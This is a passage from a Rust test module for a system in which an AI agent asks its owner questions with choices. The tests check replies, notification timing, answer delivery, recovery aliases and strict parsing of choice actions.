3848 let c = abandoned.say("hello?").unwrap_err().to_string();
3849 assert!(c.contains("abandoned"), "{c}");
3850
3851 let mut open = choice_question();
3852 let d = open.say(" ").unwrap_err().to_string();
3853 assert!(d.contains("empty"), "{d}");
3854 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3855 assert!(e.contains("empty"), "{e}");
3856 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3857 }
3858
3859 #[test]
3860 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3861 let mut q = choice_question();
3862 q.say("SQLite or Redis, but what about disk space?")
3863 .unwrap();
3864 assert!(q.waiting_on_agent());
3865
3866 q.reply(
3867 "SQLite: it is one file, no server to run.",
3868 vec!["SQLite".to_owned()],
3869 )
3870 .unwrap();
3871
3872 assert_eq!(q.choices, ["SQLite"]);
3873 assert!(
3874 !q.waiting_on_agent(),
3875 "the agent spoke, so the owner is the one being waited on now"
3876 );
3877 assert_eq!(q.thread.len(), 2);
3878 assert_eq!(q.thread[1].who, Who::Agent);
3879
3880 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3882 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3883 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3884 }
3885
3886 #[test]
3887 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3888 let mut fresh = choice_question();
3889 assert!(
3890 fresh.should_notify(Timestamp::now()),
3891 "nobody has been notified yet, so the first ask always pages"
3892 );
3893
3894 fresh.say("why not Postgres?").unwrap();
3895 let just_said = fresh.thread[0].at;
3896 assert!(
3897 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3898 "still on the screen a minute later; no need to page again"
3899 );
3900 assert!(
3901 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3902 "exactly the window: `>` means this side stays quiet"
3903 );
3904 assert!(
3905 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3906 "past the window: they may have walked away"
3907 );
3908 }
3909
3910 #[test]
3911 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3912 let (_dir, s) = store();
3913 let mut q = choice_question();
3914 s.put(&mut q).unwrap();
3915 q.say("why not Postgres?").unwrap();
3916 s.put(&mut q).unwrap();
3917 q.reply("no server to run", vec!["SQLite".to_owned()])
3918 .unwrap();
3919 s.put(&mut q).unwrap();
3920
3921 assert_eq!(
3922 s.count_open(),
3923 1,
3924 "one question that talked twice is still one open question"
3925 );
3926 assert_eq!(s.open_for(&q.run).len(), 1);
3927 }
3928
3929 #[tokio::test]
3930 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3931 let (dir, s) = store();
3932 let mut q = choice_question();
3933 let id = q.id.clone();
3934 let writer = Questions::at(dir.path().join("questions"));
3935 let handle = tokio::spawn(async move {
3936 tokio::time::sleep(Duration::from_millis(30)).await;
3937 let mut fresh = writer.get(&id).expect("the question was filed first");
3938 fresh.say("why not Postgres?").unwrap();
3939 writer.put(&mut fresh).unwrap();
3940 });
3941
3942 let got = wait_for_owner(
3943 &mut q,
3944 &s,
3945 &quiet(),
3946 Duration::from_secs(5),
3947 Duration::from_millis(10),
3948 )
3949 .await
3950 .unwrap();
3951
3952 handle.await.unwrap();
3953 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3954 assert_eq!(
3955 q.status,
3956 QuestionStatus::Open,
3957 "talking back is not a decision; the question stays open"
3958 );
3959 assert!(q.answer.is_none());
3960 }
3961
3962 #[test]
3963 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3964 let mut q = choice_question();
3965 q.say("A").unwrap();
3966 q.delivered_turns = q.thread.len();
3967 q.say("B").unwrap();
3968 q.reply("about A", vec![]).unwrap();
3969 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3970 q.delivered_turns = q.thread.len();
3971 assert_eq!(q.unread_from_owner(), None);
3972 }
3973
3974 #[test]
3975 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3976 let (_d, s) = store();
3977 let mut q = choice_question();
3978 s.put(&mut q).unwrap();
3979 q.say("first").unwrap();
3980 q.say("second").unwrap();
3981 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3982 s.put(&mut q).unwrap();
3983 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3984 let mut out = Vec::new();
3985 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3986 let shown = String::from_utf8(out).unwrap();
3987 let (a, b, c) = (
3988 shown.find("first").unwrap(),
3989 shown.find("second").unwrap(),
3990 shown.find("SQLite").unwrap(),
3991 );
3992 assert!(a < b && b < c, "{shown}");
3993 assert_eq!(q.delivered_turns, q.thread.len());
3994 assert!(q.answer_delivered);
3995 }
3996
3997 #[test]
3998 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3999 let mut q = choice_question();
4000 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4001 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
4002 let mut q = choice_question();
4003 q.say("old").unwrap();
4004 q.delivered_turns = q.thread.len();
4005 q.say("new").unwrap();
4006 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4007 let shown = answer_for_agent(&q, "SQLite");
4008 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
4009 }
4010
4011 #[test]
4012 fn recovery_aliases_require_a_unique_offered_structured_effect() {
4013 let mut q = choice_question();
4014 q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
4015 for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
4016 q.actions
4017 .insert(label.into(), ChoiceAction::Resume { run: run.into() });
4018 }
4019 assert!(
4020 q.resolve_reply("再開")
4021 .unwrap_err()
4022 .to_string()
4023 .contains("ambiguous")
4024 );
4025 assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
4026 q.choices.remove(1);
4027 assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
4028 assert!(q.resolve_reply("resume run-b").is_err());
4029 assert!(q.resolve_reply("保留").is_err());
4030 assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
4031 assert!(!ChoiceAction::Done.matches_alias("完了"));
4032 }
4033
4034 #[test]
4035 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
4036 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
4037 let ok = parse_actions(
4038 &[
4039 "resume で続行する=resume".to_owned(),
4040 "wait=done".to_owned(),
4041 ],
4042 &choices,
4043 "run-1",
4044 )
4045 .unwrap();
4046 assert_eq!(
4047 ok["resume で続行する"],
4048 ChoiceAction::Resume {
4049 run: "run-1".into()
4050 }
4051 );
4052 assert_eq!(ok["wait"], ChoiceAction::Done);
4053
4054 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4055 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4056 assert_eq!(
4057 ChoiceAction::parse("x=requeue", "").unwrap().1,
4058 ChoiceAction::Requeue
4059 );
4060
4061 assert_eq!(
4062 ChoiceAction::parse("x=hold", "").unwrap().1,
4063 ChoiceAction::Hold
4064 );
4065
4066 for bad in [
4067 "no-equals",
4068 "=done",
4069 "x=resume",
4070 "x=resume:",
4071 "x=explode",
4072 "x=done:1",
4073 ] {
4074 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4075 }
4076 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4077 assert!(
4078 parse_actions(
4079 &["wait=done".to_owned(), "wait=requeue".to_owned()],
4080 &choices,
4081 ""
4082 )
4083 .is_err()
4084 );
4085 }
4086
4087 #[test]
4088 fn only_a_chosen_label_with_an_action_is_actionable() {
4089 let mut q = choice_question();
4090 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4091 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4092 assert!(q.chosen_action().is_none(), "unanswered");
4093 q.answer(Answer::Choice("resume".to_owned())).unwrap();
4094 assert!(
4095 q.chosen_action().is_none(),
4096 "a label that merely reads like an action does nothing"
4097 );
4098
4099 let mut q2 = choice_question();
4100 q2.choices = vec!["SQLite".to_owned()];
4101 q2.actions
4102 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4103 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4104 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4105 }
4106
4107 #[test]
4108 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4109 let mut q = choice_question();
4110 q.choices = vec!["A".to_owned(), "B".to_owned()];
4111 q.actions.insert("A".to_owned(), ChoiceAction::Done);
4112 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4113 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4114 assert_eq!(q.actions.len(), 1);
4115 assert!(q.actions.contains_key("B"));
4116
4117 let mut v = serde_json::to_value(&q).unwrap();
4118 v.as_object_mut().unwrap().remove("actions");
4119 let old: Question = serde_json::from_value(v).unwrap();
4120 assert!(old.actions.is_empty());
4121 }
4122}